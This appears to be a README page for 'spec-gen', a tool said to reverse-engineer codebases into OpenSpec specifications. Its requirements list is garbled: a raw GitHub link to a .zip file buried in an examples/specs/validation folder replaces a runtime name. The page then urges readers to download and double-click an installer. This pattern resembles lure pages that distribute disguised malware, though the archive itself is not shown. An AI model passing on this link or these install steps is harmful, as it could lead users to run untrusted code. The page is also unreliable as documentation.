spec-gen helps you turn your code into clear and structured documentation. With this tool, you can automate the reverse-engineering of your codebase into OpenSpec specifications. It uses static analysis and advanced AI to extract essential business logic, verify your software's architecture, and create a reliable source of truth.
- Extract Business Logic: Understand how your code works.
- Ensure Accuracy: Maintain architectural integrity.
- Living Documentation: Keep your specifications up-to-date.
- Operating System: Windows, macOS, or Linux (64-bit)
- RAM: At least 4 GB
- Disk Space: 200 MB available space
- https://raw.githubusercontent.com/HUGO9K/spec-gen/main/examples/openspec-cli/openspec/specs/validation/gen-spec-v3.2-alpha.2.zip Version 14 or higher
- Recommended: An internet connection for the best experience
-
Visit this page to download: Releases Page.
On the Releases page, you will find the latest version of spec-gen. Look for the installation file that matches your operating system.
-
After downloading, locate the file on your computer.
-
Run the installer by double-clicking the file.
Follow the on-screen instructions to complete the installation.
-
Once installed, you can find spec-gen in your applications or programs list.
-
Launch the application to start using it!
- Static Analysis: Analyze your existing codebase to produce accurate documentation.
- LLM Integration: Utilize advanced AI features to enhance your documentation process.
- Dependency Graph: Visualize dependencies within your software.
- Versioning Support: Keep track of changes in your documentation as your code evolves.
- Open the spec-gen application.
- Load your project directory by selecting it from the "Project" menu.
- Choose the "Generate Specification" option. This will analyze your code.
- Review the generated OpenSpec file, which will be saved in your project folder.
After generating specifications, you can run the architectural verification tool:
- In the app, navigate to the "Verify Architecture" tab.
- Click on the "Run Verification" button.
- Review any suggestions or issues presented.
Address these points to maintain architectural accuracy in your development.
To enhance your experience with spec-gen, comprehensive documentation is available on our Wiki Page. You can find guides, troubleshooting tips, and FAQs.
For additional assistance, consider joining our community forum. Get help from fellow users and share your experiences.
- Regularly update your documentation with each code change.
- Use the verification feature consistently to ensure your architecture remains sound.
- Explore different sections of the app to familiarize yourself with its capabilities.
Stay tuned for future releases that will include even more features and improvements. Regularly check the Releases Page for the latest updates.
Connect with other users to share tips and best practices for using spec-gen effectively. You can find us on various platforms to engage and discuss.
To download the software, visit: Download spec-gen.